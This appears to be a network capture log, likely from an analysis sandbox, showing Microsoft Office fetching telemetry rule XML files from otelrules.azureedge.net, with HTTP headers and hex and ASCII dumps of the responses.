Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:10 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-16849878b78tg5n42kspfr0x4800000006w00000000105d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:10 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-16849878b786lft2mu9uftf3y4000000088g00000000bb3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:10 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-16849878b786jv8w2kpaf5zkqs00000005v000000000kak3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:10 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:10 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:11 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:10 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193810Z-16849878b78p49s6zkwt11bbkn00000006g0000000012ydy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:11 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:11 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193811Z-15b8d89586fxdh48ft0acdbg4400000000v00000000054gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:38:11 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193811Z-17c5cb586f6wmhkn5q6fu8c5ss00000006bg00000000d51c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:11 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193811Z-16849878b786fl7gm2qg4r5y70000000079000000000bktb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193811Z-16849878b78zqkvcwgr6h55x9n00000006dg00000000g8p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:11 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193811Z-15b8d89586f8l5961kfst8fpb00000000hsg000000005s6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:12 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193811Z-16849878b78xblwksrnkakc08w000000067000000000kayg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:12 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:12 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193812Z-16849878b78qf2gleqhwczd21s00000007800000000050yd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:12 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:12 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: de20d122-c01e-008e-20f7-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193812Z-r197bdfb6b48v72xb403uy6hns00000007p000000000asbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
